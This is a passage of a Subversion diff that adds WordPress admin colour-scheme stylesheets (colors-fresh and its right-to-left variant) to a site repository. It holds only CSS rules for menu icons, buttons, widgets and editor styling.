+#adminmenu #menu-comments div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -31px -33px;
+}
+
+#adminmenu #menu-comments:hover div.wp-menu-image,
+#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image,
+#adminmenu #menu-comments.current div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -31px -1px;
+}
+
+#adminmenu #menu-appearance div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -1px -33px;
+}
+
+#adminmenu #menu-appearance:hover div.wp-menu-image,
+#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -1px -1px;
+}
+
+#adminmenu #menu-plugins div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -181px -33px;
+}
+
+#adminmenu #menu-plugins:hover div.wp-menu-image,
+#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -181px -1px;
+}
+
+#adminmenu #menu-users div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -301px -33px;
+}
+
+#adminmenu #menu-users:hover div.wp-menu-image,
+#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -301px -1px;
+}
+
+#adminmenu #menu-tools div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -211px -33px;
+}
+
+#adminmenu #menu-tools:hover div.wp-menu-image,
+#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -211px -1px;
+}
+
+#adminmenu #menu-settings div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -241px -33px;
+}
+
+#adminmenu #menu-settings:hover div.wp-menu-image,
+#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image {
+	background: transparent url("../images/menu-vs.png") no-repeat scroll -241px -1px;
+}
+/* end menu */
+
+
+/* Diff */
+table.diff .diff-deletedline {
+	background-color: #fdd;
+}
+
+table.diff .diff-deletedline del {
+	background-color: #f99;
+}
+
+table.diff .diff-addedline {
+	background-color: #dfd;
+}
+
+table.diff .diff-addedline ins {
+	background-color: #9f9;
+}
+
+#att-info {
+	background-color: #e4f2fd;
+}
+
+/* edit image */
+#sidemenu a {
+	background-color: #f9f9f9;
+	border-color: #f9f9f9;
+	border-bottom-color: #dfdfdf;
+}
+
+#sidemenu a.current {
+	background-color: #fff;
+	border-color: #dfdfdf #dfdfdf #fff;
+	color: #d54e21;
+}
+
+#screen-options-wrap,
+#contextual-help-wrap {
+	background-color: #eae9e4;
+	border-color: #dfdfdf;
+}
+
+#screen-meta-links a.show-settings {
+	color: #606060;
+}
+
+#screen-meta-links a.show-settings:hover {
+	color: #000;
+}
+
+#replysubmit {
+	background-color: #f1f1f1;
+	border-top-color: #ddd;
+}
+
+#replyerror {
+	border-color: #ddd;
+	background-color: #f9f9f9;
+}
+
+#edithead,
+#replyhead {
+	background-color: #f1f1f1;
+}
+
+#ed_reply_toolbar {
+	background-color: #e9e9e9;
+}
+
+/* table vim shortcuts */
+.vim-current,
+.vim-current th,
+.vim-current td {
+	background-color: #e4f2fd !important;
+}
+
+/* Install Plugins */
+.star-average,
+.star.star-rating {
+	background-color: #fc0;
+}
+
+div.star.select:hover {
+	background-color: #d00;
+}
+
+#plugin-information .fyi ul {
+	background-color: #eaf3fa;
+}
+
+#plugin-information .fyi h2.mainheader {
+	background-color: #cee1ef;
+}
+
+#plugin-information pre,
+#plugin-information code {
+	background-color: #ededff;
+}
+
+#plugin-information pre {
+	border: 1px solid #ccc;
+}
+
+/* inline editor */
+.inline-edit-row fieldset input[type="text"],
+.inline-edit-row fieldset textarea,
+#bulk-titles,
+#replyrow input {
+	border-color: #ddd;
+}
+
+.inline-editor div.title {
+	background-color: #eaf3fa;
+}
+
+.inline-editor ul.cat-checklist {
+	background-color: #fff;
+	border-color: #ddd;
+}
+
+.inline-editor .categories .catshow,
+.inline-editor .categories .cathide {
+	color: #21759b;
+}
+
+.inline-editor .quick-edit-save {
+	background-color: #f1f1f1;
+}
+
+#replyrow #ed_reply_toolbar input:hover {
+	border-color: #aaa;
+	background: #ddd;
+}
+
+fieldset.inline-edit-col-right .inline-edit-col {
+	border-color: #dfdfdf;
+}
+
+.attention {
+	color: #d54e21;
+}
+
+.meta-box-sortables .postbox:hover .handlediv {
+	background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px;
+}
+
+#major-publishing-actions {
+	background: #eaf2fa;
+}
+
+.tablenav .tablenav-pages {
+	color: #555;
+}
+
+.tablenav .tablenav-pages a {
+	border-color: #e3e3e3;
+	background: #eee url('../images/menu-bits-vs.gif') repeat-x scroll left -379px;
+}
+
+.tablenav .tablenav-pages a:hover {
+	color: #d54e21;
+	border-color: #d54321;
+}
+
+.tablenav .tablenav-pages a:active {
+	color: #fff !important;
+}
+
+.tablenav .tablenav-pages .current {
+	background: #dfdfdf;
+	border-color: #d3d3d3;
+}
+
+#availablethemes,
+#availablethemes td {
+	border-color: #ddd;
+}
+
+#current-theme img {
+	border-color: #999;
+}
+
+#TB_window #TB_title a.tb-theme-preview-link,
+#TB_window #TB_title a.tb-theme-preview-link:visited {
+	color: #999;
+}
+
+#TB_window #TB_title a.tb-theme-preview-link:hover,
+#TB_window #TB_title a.tb-theme-preview-link:focus {
+	color: #ccc;
+}
+
+.misc-pub-section {
+	border-bottom-color: #eee;
+}
+
+#minor-publishing {
+	border-bottom-color: #ddd;
+}
+
+#post-body .misc-pub-section {
+	border-right-color: #eee;
+}
+
+.post-com-count span {
+	background-color: #bbb;
+}
+
+.form-table .color-palette td {
+	border-color: #fff;
+}
+
+.sortable-placeholder {
+	border-color: #bbb;
+	background-color: #f5f5f5;
+}
+
+#post-body ul#category-tabs li.tabs a {
+	color: #333;
+}
+
+#wp_editimgbtn,
+#wp_delimgbtn,
+#wp_editgallery,
+#wp_delgallery {
+	border-color: #999;
+	background-color: #eee;
+}
+
+#wp_editimgbtn:hover,
+#wp_delimgbtn:hover,
+#wp_editgallery:hover,
+#wp_delgallery:hover {
+	border-color: #555;
+	background-color: #ccc;
+}
+
+#favorite-first {
+	background: #5580a6 url(../images/fav-vs.png) repeat-x 0 center;
+	border-color: #517ea5 !important;
+	border-bottom-color: #416686 !important;
+}
+
+#favorite-actions .slide-down {
+	background-image: url(../images/fav-top-vs.gif);
+	background-position:0 0;
+	background-repeat: repeat-x;
+}
+
+#favorite-inside {
+	border-color: #5b86ac;
+	background-color: #5580a6;
+}
+
+#favorite-toggle {
+	background: transparent url(../images/fav-arrow-vs.gif) no-repeat 0 -4px;
+}
+
+#favorite-actions a {
+	color: #ddd;
+}
+
+#favorite-actions a:hover {
+	color: #fff;
+}
+
+#favorite-inside a:hover {
+	text-decoration: underline;
+}
+
+#favorite-actions .slide-down {
+	border-bottom-color: #626262;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	text-shadow: rgba(255,255,255,1) 0 1px 0;
+}
+
+.button-primary,
+.submit .button-primary {
+	text-shadow: rgba(0,0,0,0.3) 0 -1px 0;
+}
+
+#screen-meta a.show-settings {
+	background-color: transparent;
+	text-shadow: rgba(255,255,255,0.7) 0 1px 0;
+}
+
+#icon-edit,
+#icon-post {
+	background: transparent url(../images/icons32-vs.png) no-repeat -552px -5px;
+}
+
+#icon-index {
+	background: transparent url(../images/icons32-vs.png) no-repeat -137px -5px;
+}
+
+#icon-upload {
+	background: transparent url(../images/icons32-vs.png) no-repeat -251px -5px;
+}
+
+#icon-link-manager,
+#icon-link,
+#icon-link-category {
+	background: transparent url(../images/icons32-vs.png) no-repeat -190px -5px;
+}
+
+#icon-edit-pages,
+#icon-page {
+	background: transparent url(../images/icons32-vs.png) no-repeat -312px -5px;
+}
+
+#icon-edit-comments {
+	background: transparent url(../images/icons32-vs.png) no-repeat -72px -5px;
+}
+
+#icon-themes {
+	background: transparent url(../images/icons32-vs.png) no-repeat -11px -5px;
+}
+
+#icon-plugins {
+	background: transparent url(../images/icons32-vs.png) no-repeat -370px -5px;
+}
+
+#icon-users,
+#icon-profile,
+#icon-user-edit {
+	background: transparent url(../images/icons32-vs.png) no-repeat -600px -5px;
+}
+
+#icon-tools,
+#icon-admin {
+	background: transparent url(../images/icons32-vs.png) no-repeat -432px -5px;
+}
+
+#icon-options-general {
+	background: transparent url(../images/icons32-vs.png) no-repeat -492px -5px;
+}
+
+.view-switch #view-switch-list {
+	background: transparent url(../images/list-vs.png) no-repeat 0 0;
+}
+
+.view-switch #view-switch-list.current {
+	background: transparent url(../images/list-vs.png) no-repeat -40px 0;
+}
+
+.view-switch #view-switch-excerpt {
+	background: transparent url(../images/list-vs.png) no-repeat -20px 0;
+}
+
+.view-switch #view-switch-excerpt.current {
+	background: transparent url(../images/list-vs.png) no-repeat -60px 0;
+}
+
+#header-logo {
+	background: transparent url(../images/wp-logo-vs.gif) no-repeat scroll center center;
+}
+
+#wphead #site-visit-button {
+	background-color: #3c6b95;
+	background-image: url(../images/visit-site-button-grad-vs.gif);
+	color: #b6d1e4;
+	text-shadow: #3f3f3f 0 -1px 0;
+}
+
+#wphead a:hover #site-visit-button {
+	color: #fff;
+}
+
+#wphead a:focus #site-visit-button,
+#wphead a:active #site-visit-button {
+	background-position: 0 -27px;
+}
+
+.popular-tags,
+.feature-filter {
+	background-color: #fff;
+	border-color: #dfdfdf;
+}
+
+#theme-information .action-button {
+	border-top-color: #dfdfdf;
+}
+
+.theme-listing br.line {
+	border-bottom-color: #ccc;
+}
+
+div.widgets-sortables,
+#widgets-left .inactive {
+	background-color: #f1f1f1;
+    border-color: #ddd;
+}
+
+#available-widgets .widget-holder {
+    background-color: #fff;
+    border-color: #ddd;
+}
+
+#widgets-left .sidebar-name {
+	background-color: #aaa;
+	background-image: url(../images/ed-bg-vs.gif);
+	text-shadow: #FFFFFF 0 1px 0;
+	border-color: #dfdfdf;
+}
+
+#widgets-right .sidebar-name {
+	background-image: url(../images/fav-vs.png);
+	text-shadow: #3f3f3f 0 -1px 0;
+	background-color: #636363;
+	border-color: #636363;
+	color: #fff;
+}
+
+.sidebar-name:hover,
+#removing-widget {
+	color: #d54e21;
+}
+
+#removing-widget span {
+	color: black;
+}
+
+#widgets-left .sidebar-name-arrow {
+	background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px;
+}
+
+#widgets-right .sidebar-name-arrow {
+	background: transparent url(../images/fav-arrow-vs.gif) no-repeat scroll 0 -1px;
+}
+
+.in-widget-title {
+	color: #606060;
+}
+
+.deleting .widget-title * {
+	color: #aaa;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh-rtl.css	(revision 44)
@@ -0,0 +1,83 @@
+.bar {
+	border-right-color: transparent;
+	border-left-color: #99d;
+}
+
+.plugins .togl {
+	border-right-color: transparent;
+	border-left-color: #ccc;
+}
+
+.post-com-count {
+	background-image: url(../images/bubble_bg-rtl.gif);
+}
+.tablenav .tablenav-pages a {
+	background: #eee url('../images/menu-bits-rtl.gif') repeat-x scroll right -379px;
+}
+#upload-menu li.current {
+	border-right-color: transparent;
+	border-left-color: #448abd;
+}
+
+#adminmenu .wp-submenu .current a.current {
+	background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll  right -289px;
+}
+
+#adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px;
+}
+
+.folded #adminmenu li.wp-menu-separator {
+	background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px;
+}
+
+#adminmenu li.wp-has-current-submenu .wp-menu-toggle,
+#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl.gif) repeat-x scroll right -207px;
+}
+
+#adminmenu .wp-has-current-submenu ul li a.current {
+	background: url(../images/menu-dark-rtl.gif) top right no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,
+#adminmenu .menu-top .current {
+	background: url(../images/menu-bits-rtl.gif) top right repeat-x;
+}
+
+#adminmenu li.wp-has-current-submenu ul li a {
+	background: url(../images/menu-dark-rtl.gif) bottom right no-repeat !important;
+}
+
+#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, #adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl.gif) no-repeat right -207px;
+}
+
+#adminmenu .wp-has-submenu:hover .wp-menu-toggle,
+#adminmenu .wp-menu-open .wp-menu-toggle {
+	background: transparent url(../images/menu-bits-rtl.gif) repeat-x scroll right -109px;
+}
+
+#adminmenu a.wp-has-submenu {
+	background: #f1f1f1 url(../images/menu-bits-rtl.gif) repeat-x scroll right -379px;
+}
+
+#adminmenu .wp-submenu a {
+	background: #FFFFFF url(../images/menu-bits-rtl.gif) no-repeat scroll right -310px;
+}
+
+#adminmenu li.current a,
+#adminmenu .wp-submenu a:hover {
+	background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll  right -289px;
+}
+
+#adminmenu li.wp-has-current-submenu a.wp-has-submenu {
+	background: #b5b5b5 url(../images/menu-bits-rtl.gif) repeat-x scroll right top;
+}
+
+.meta-box-sortables .postbox:hover .handlediv {
+	background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll right -111px;
+}
+#favorite-toggle {
+	background: transparent url(../images/fav-arrow-rtl.gif) no-repeat right -4px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/colors-fresh.css	(revision 44)
@@ -0,0 +1,1660 @@
+html {
+	background-color: #f9f9f9;
+}
+
+* html input,
+* html .widget {
+    border-color: #dfdfdf;
+}
+
+textarea,
+input,
+select {
+	border-color: #DFDFDF;
+}
+
+kbd,
+code {
+	background: #eaeaea;
+}
+
+input[readonly] {
+	background-color: #eee;
+}
+
+.find-box-search {
+	border-color: #dfdfdf;
+	background-color: #f1f1f1;
+}
+
+.find-box {
+	background-color: #f1f1f1;
+}
+
+.find-box-inside {
+	background-color: #fff;
+}
+
+a.page-numbers:hover {
+	border-color: #999;
+}
+
+body,
+#wpbody,
+.form-table .pre {
+	color: #333;
+}
+
+body > #upload-menu {
+	border-bottom-color: #fff;
+}
+
+#postcustomstuff table,
+#your-profile fieldset,
+#rightnow,
+div.dashboard-widget,
+#dashboard-widgets p.dashboard-widget-links,
+#replyrow #ed_reply_toolbar input {
+	border-color: #ccc;
+}
+
+#poststuff .inside label.spam {
+	color: red;
+}
+
+#poststuff .inside label.waiting {
+	color: orange;
+}
+
+#poststuff .inside label.approved {
+	color: green;
+}
+
+#postcustomstuff table {
+	border-color: #dfdfdf;
+	background-color: #F9F9F9;
+}
+
+#postcustomstuff thead th {
+	background-color: #F1F1F1;
+}
+
+#postcustomstuff table input,
+#postcustomstuff table textarea {
+	border-color: #dfdfdf;
+	background-color: #fff;
+}
+
+.widefat {
+	border-color: #dfdfdf;
+	background-color: #fff;
+}
+
+div.dashboard-widget-error {
+	background-color: #c43;
+}
+
+div.dashboard-widget-notice {
+	background-color: #cfe1ef;
+}
+
+div.dashboard-widget-submit {
+	border-top-color: #ccc;
+}
+
+div.tabs-panel,
+ul#category-tabs li.tabs {
+	border-color: #dfdfdf;
+}
+
+ul#category-tabs li.tabs {
+	background-color: #f1f1f1;
+}
+
+input.disabled,
+textarea.disabled {
+	background-color: #ccc;
+}
+/* #upload-menu li a.upload-tab-link, */
+.login #backtoblog a:hover,
+#plugin-information .action-button a,
+#plugin-information .action-button a:hover,
+#plugin-information .action-button a:visited {
+	color: #fff;
+}
+
+.widget .widget-top,
+.postbox h3,
+.stuffbox h3 {
+	background: #dfdfdf url("../images/gray-grad.png") repeat-x left top;
+	text-shadow: #fff 0 1px 0;
+}
+
+.form-table th,
+.form-wrap label {
+	color: #222;
+	text-shadow: #fff 0 1px 0;
+}
+
+.description,
+.form-wrap p {
+	color: #666;
+}
+
+strong .post-com-count span {
+	background-color: #21759b;
+}
+
+.sorthelper {
+	background-color: #ccf3fa;
+}
+
+.ac_match,
+.subsubsub a.current {
+	color: #000;
+}
+
+.wrap h2 {
+	color: #464646;
+}
+
+.ac_over {
+	background-color: #f0f0b8;
+}
+
+.ac_results {
+	background-color: #fff;
+	border-color: #808080;
+}
+
+.ac_results li {
+	color: #101010;
+}
+
+.alternate,
+.alt {
+	background-color: #f9f9f9;
+}
+
+.available-theme a.screenshot {
+	background-color: #f1f1f1;
+	border-color: #ddd;
+}
+
+.bar {
+	background-color: #e8e8e8;
+	border-right-color: #99d;
+}
+
+#media-upload {
+	background: #fff;
+}
+
+#media-upload .slidetoggle {
+	border-top-color: #dfdfdf;
+}
+
+.error,
+#login #login_error {
+	background-color: #ffebe8;
+	border-color: #c00;
+}
+
+.error a {
+	color: #c00;
+}
+
+.form-invalid {
+	background-color: #ffebe8 !important;
+}
+
+.form-invalid input {
+	border-color: #c00 !important;
+}
+
+.submit {
+	border-color: #DFDFDF;
+}
+
+.highlight {
+	background-color: #e4f2fd;
+	color: #d54e21;
+}
+
+.howto,
+.nonessential,
+#edit-slug-box,
+.form-input-tip,
+.rss-widget span.rss-date,
+.subsubsub {
+	color: #666;
+}
+
+.media-item {
+	border-bottom-color: #dfdfdf;
+}
+
+#wpbody-content #media-items .describe {
+	border-top-color: #dfdfdf;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	border-color: #dfdfdf;
+}
+
+.media-upload-form label.form-help,
+td.help {
+	color: #9a9a9a;
+}
+
+.post-com-count {
+	background-image: url(../images/bubble_bg.gif);
+	color: #fff;
+}
+
+.post-com-count span {
+	background-color: #bbb;
+	color: #fff;
+}
+
+.post-com-count:hover span {
+	background-color: #d54e21;
+}
+
+.quicktags, .search {
+	background-color: #ccc;
+	color: #000;
+}
+
+.side-info h5 {
+	border-bottom-color: #dadada;
+}
+
+.side-info ul {
+	color: #666;
+}
+
+.button,
+.button-secondary,
+.submit input,
+input[type=button],
+input[type=submit] {
+	border-color: #bbb;
+	color: #464646;
+}
+
+.button:hover,
+.button-secondary:hover,
+.submit input:hover,
+input[type=button]:hover,
+input[type=submit]:hover {
+	color: #000;
+	border-color: #666;
+}
+
+.button,
+.submit input,
+.button-secondary {
+	background: #f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;
+}
+
+.button:active,
+.submit input:active,
+.button-secondary:active {
+	background: #eee url(../images/white-grad-active.png) repeat-x scroll left top;
+}
+
+.button-primary,
+.submit .button-primary,
+#login form .submit input {
+	border-color: #298cba !important;
+	font-weight: bold;
+	color: #FFF !important;
+	background: #21759B url(../images/button-grad.png) repeat-x scroll left top;
+}
+
+.button-primary:active,
+#login form .submit input:active {
+	background: #21759b url(../images/button-grad-active.png) repeat-x scroll left top !important;
+}
+
+.button[disabled],
+.button:disabled,
+.button-secondary[disabled],
+.button-secondary:disabled,
+a.button.disabled {
+	color: #ccc !important;
+	border-color: #ccc;
+}
+
+.button-primary[disabled],
+.button-primary:disabled {
+	color: #2fa0d5 !important;
+}
+
+a:active,
+a:focus {
+	color: #d54e21;
+}
+
+a:hover,
+#wphead #viewsite a:hover,
+#adminmenu a:hover,
+#adminmenu ul.wp-submenu a:hover,
+#the-comment-list .comment a:hover,
+#rightnow a:hover,
+#login form .submit input:hover,
+#media-upload a.del-link:hover,
+div.dashboard-widget-submit input:hover,
+.subsubsub a:hover,
+.subsubsub a.current:hover,
+.ui-tabs-nav a:hover,
+.plugins .inactive a:hover,
+#all-plugins-table .plugins .inactive a:hover,
+#search-plugins-table .plugins .inactive a:hover {
+	color: #d54e21;
+}
+
+#the-comment-list .comment-item,
+#dashboard-widgets #dashboard_quick_press form p.submit {
+	border-color: #dfdfdf;
+}
+
+.button-primary:hover,
+#login form .submit input:hover {
+	border-color: #13455b !important;
+	color: #EAF2FA !important;
+}
+
+#side-sortables #category-tabs .tabs a {
+	color: #333;
+}
+
+#rightnow .rbutton {
+	background-color: #ebebeb;
+	color: #264761;
+}
+
+.submitbox .submit {
+	background-color: #464646;
+	color: #ccc;
+}
+
+.plugins a.delete:hover,
+#all-plugins-table .plugins a.delete:hover,
+#search-plugins-table .plugins a.delete:hover,
+.submitbox .submitdelete,
+a.delete {
+	color: #f00;
+	border-bottom-color: #f00;
+}
+
+.submitbox .submitdelete:hover,
+#media-items a.delete:hover {
+	color: #fff;
+	background-color: #f00;
+	border-bottom-color: #f00;
+}
+
+#normal-sortables .submitbox .submitdelete:hover {
+	color: #000;
+	background-color: #f00;
+	border-bottom-color: #f00;
+}
+
+.tablenav .dots {
+	border-color: transparent;
+}
+
+.tablenav .next,
+.tablenav .prev {
+	border-color: transparent;
+	color: #21759b;
+}
+
+.tablenav .next:hover,
+.tablenav .prev:hover {
+	border-color: transparent;
+	color: #d54e21;
+}
+
+.updated,
+.login #login_error,
+.login .message {
+	background-color: #ffffe0;
+	border-color: #e6db55;
+}
+
+.update-message {
+	color: #000000;
+}
+
+a.page-numbers {
+	border-bottom-color: #B8D3E2;
+}
+
+.commentlist li {
+	border-bottom-color: #ccc;
+}
+
+.widefat td,
+.widefat th,
+#install-plugins .plugins td,
+#install-plugins .plugins th {
+	border-color: #dfdfdf;
+}
+
+.widefat th {
+	text-shadow: rgba(255,255,255,0.8) 0 1px 0;
+}
+
+.widefat thead tr th,
+.widefat tfoot tr th,
+h3.dashboard-widget-title,
+h3.dashboard-widget-title span,
+h3.dashboard-widget-title small,
+.find-box-head {
+	color: #333;
+	background: #dfdfdf url(../images/gray-grad.png) repeat-x scroll left top;
+}
+
+h3.dashboard-widget-title small a {
+	color: #d7d7d7;
+}
+
+h3.dashboard-widget-title small a:hover {
+	color: #fff;
+}
+
+a,
+#adminmenu a,
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML,
+#the-comment-list p.comment-author strong a,
+#media-upload a.del-link,
+#media-items a.delete,
+.plugins a.delete,
+.ui-tabs-nav a {
+	color: #21759b;
+}
+
+/* Because we don't want visited on these links */
+body.press-this .tabs a,
+body.press-this .tabs a:hover {
+	background-color: #fff;
+	border-color: #c6d9e9;
+	border-bottom-color: #fff;
+	color: #d54e21;
+}
+
+#adminmenu #awaiting-mod,
+#adminmenu .update-plugins,
+#sidemenu a .update-plugins,
+#rightnow .reallynow,
+#plugin-information .action-button {
+	background-color: #d54e21;
+	color: #fff;
+}
+
+#adminmenu li a:hover #awaiting-mod,
+#adminmenu li a:hover .update-plugins,
+#sidemenu li a:hover .update-plugins {
+	background-color: #264761;
+	color: #fff;
+}
+
+#adminmenu li.current a #awaiting-mod,
+#adminmenu li.current a .update-plugins,
+#adminmenu li.wp-has-current-submenu a .update-plugins,
+#adminmenu li.wp-has-current-submenu a .update-plugins {
+	background-color: #ddd;
+	color: #000;
+	text-shadow: none;
+	-moz-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	-khtml-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	-webkit-box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+	box-shadow: rgba(0,0,0,0.2) 0 -1px 0;
+}
+
+#adminmenu li.current a:hover #awaiting-mod,
+#adminmenu li.current a:hover .update-plugins,
+#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod,
+#adminmenu li.wp-has-current-submenu a:hover .update-plugins {
+	background-color: #264761;
+	color: #fff;
+}
+
+div#media-upload-header,
+div#plugin-information-header {
+	background-color: #f9f9f9;
+	border-bottom-color: #dfdfdf;
+}
+
+#currenttheme img {
+	border-color: #666;
+}
+
+#dashboard_secondary div.dashboard-widget-content ul li a {
+	background-color: #f9f9f9;
+}
+
+input.readonly, textarea.readonly {
+	background-color: #ddd;
+}
+
+#ed_toolbar input,
+#ed_reply_toolbar input {
+	background: #fff url("../images/fade-butt.png") repeat-x 0 -2px;
+}
+
+#editable-post-name {
+	background-color: #fffbcc;
+}
+
+#edit-slug-box strong,
+.tablenav .displaying-num,
+#submitted-on {
+	color: #777;
+}
+
+.login #nav a {
+	color: #21759b !important;
+}
+
+.login #nav a:hover {
+	color: #d54e21 !important;
+}
+
+#footer,
+#footer-upgrade {
+	background: #464646;
+	color: #999;
+}
+
+#media-items {
+	border-color: #dfdfdf;
+}
+
+.checkbox,
+.side-info,
+.plugins tr,
+#your-profile #rich_editing {
+	background-color: #fff;
+}
+
+.plugins .inactive,
+.plugins .inactive th,
+.plugins .inactive td,
+tr.inactive + tr.plugin-update-tr .plugin-update {
+	background-color: #eee;
+}
+
+.plugin-update-tr .update-message {
+	background-color: #fffbe4;
+	border-color: #dfdfdf;
+}
+
+.plugins .active,
+.plugins .active th,
+.plugins .active td {
+	color: #000;
+}
+
+.plugins .inactive a { 
+	color: #557799; 	
+}
+
+#the-comment-list .unapproved,
+#the-comment-list .unapproved th,
+#the-comment-list .unapproved td {
+	background-color: #ffffe0;
+}
+
+#the-comment-list .approve a {
+	color: #006505;
+}
+
+#the-comment-list .unapprove a {
+	color: #d98500;
+}
+
+#the-comment-list .delete a {
+	color: #bc0b0b;
+}
+
+.widget,
+#widget-list .widget-top,
+.postbox,
+#titlediv,
+#poststuff .postarea,
+.stuffbox {
+	border-color: #dfdfdf;
+}
+
+.widget,
+.postbox {
+	background-color: #fff;
+}
+
+.ui-sortable .postbox h3 {
+	color: #464646;
+}
+
+.widget .widget-top,
+.ui-sortable .postbox h3:hover {
+	color: #000;
+}
+
+.curtime #timestamp {
+	background-image: url(../images/date-button.gif);
+}
+
+#quicktags #ed_link {
+	color: #00f;
+}
+
+#rightnow .youhave {
+	background-color: #f0f6fb;
+}
+
+#rightnow a {
+	color: #448abd;
+}
+
+.tagchecklist span a,
+#bulk-titles div a {
+	background: url(../images/xit.gif) no-repeat;
+}
+
+.tagchecklist span a:hover,
+#bulk-titles div a:hover {
+	background: url(../images/xit.gif) no-repeat -10px 0;
+}
+
+#update-nag {
+	background-color: #fffeeb;
+	border-color: #ccc;
+	color: #555;
+}
+
+.login #backtoblog a {
+	color: #ccc;
+}
+
+#wphead {
+	background-color: #464646;
+}
+
+body.login {
+	border-top-color: #464646;
+}
+
+#wphead h1 a {
+	color: #fff;
+}
+
+#login form input {
+	color: #555;
+}
+
+#user_info {
+	color: #999;
+}
+
+#user_info a:link,
+#user_info a:visited,
+#footer a:link,
+#footer a:visited {
+	color: #ccc;
+	text-decoration: none;
+}
+
+#user_info a:hover,
+#footer a:hover {
+	color: #fff;
+	text-decoration: underline !important;
+}
+
+#user_info a:active,
+#footer a:active {
+	color: #ccc !important;
+}
+
+div#media-upload-error,
+.file-error,
+abbr.required,
+.widget-control-remove:hover,
+.delete a:hover {
+	color: #f00;
+}
+
+#pass-strength-result {
+	background-color: #eee;
+	border-color: #ddd !important;
+}
+
+#pass-strength-result.bad {
+	background-color: #ffb78c;
+	border-color: #ff853c !important;
+}
+
+#pass-strength-result.good {
+	background-color: #ffec8b;
+	border-color: #fc0 !important;
+}
+
+#pass-strength-result.short {
+	background-color: #ffa0a0;
+	border-color: #f04040 !important;
+}
+
+#pass-strength-result.strong {
+	background-color: #c3ff88;
+	border-color: #8dff1c !important;
+}
+
+/* editors */
+#quicktags {
+	border-color: #dfdfdf;
+	background-color: #dfdfdf;
+}
+
+#ed_toolbar input {
+	border-color: #C3C3C3;
+}
+
+#ed_toolbar input:hover {
+	border-color: #aaa;
+	background: #ddd;
+}
+
+#poststuff .wp_themeSkin .mceStatusbar {
+	border-color: #EDEDED;
+}
+
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML {
+	background-color: #f1f1f1;
+	border-color: #dfdfdf;
+	color: #999;
+}
+
+#poststuff #editor-toolbar .active {
+	border-bottom-color: #e9e9e9;
+	background-color: #e9e9e9;
+	color: #333;
+}
+
+/* TinyMCE */
+#post-status-info {
+	background-color: #EDEDED;
+}
+
+.wp_themeSkin *,
+.wp_themeSkin a:hover,
+.wp_themeSkin a:link,
+.wp_themeSkin a:visited,
+.wp_themeSkin a:active {
+	 color: #000;
+}
+
+/* Containers */
+.wp_themeSkin iframe {
+	background: #fff;
+}
+
+/* Layout */
+.wp_themeSkin .mceStatusbar {
+	color: #000;
+	background-color: #f5f5f5;
+}
+
+/* Button */
+.wp_themeSkin .mceButton {
+	background-color: #e9e8e8;
+	border-color: #B2B2B2;
+}
+
+.wp_themeSkin a.mceButtonEnabled:hover,
+.wp_themeSkin a.mceButtonActive,
+.wp_themeSkin a.mceButtonSelected {
+	background-color: #d5d5d5;
+	border-color: #777 !important;
+}
+
+.wp_themeSkin .mceButtonDisabled {
+	border-color: #ccc !important;
+}
+
+/* ListBox */
+.wp_themeSkin .mceListBox .mceText,
+.wp_themeSkin .mceListBox .mceOpen  {
+	border-color: #B2B2B2;
+	background-color: #d5d5d5;
+}
+
+.wp_themeSkin table.mceListBoxEnabled:hover .mceOpen,
+.wp_themeSkin .mceListBoxHover .mceOpen,
+.wp_themeSkin .mceListBoxSelected .mceOpen,
+.wp_themeSkin .mceListBoxSelected .mceText {
+	border-color: #777 !important;
+	background-color: #d5d5d5;
+}
+
+.wp_themeSkin table.mceListBoxEnabled:hover .mceText,
+.wp_themeSkin .mceListBoxHover .mceText {
+	border-color: #777 !important;
+}
+
+.wp_themeSkin select.mceListBox {
+	border-color: #B2B2B2;
+	background-color: #fff;
+}
+
+/* SplitButton */
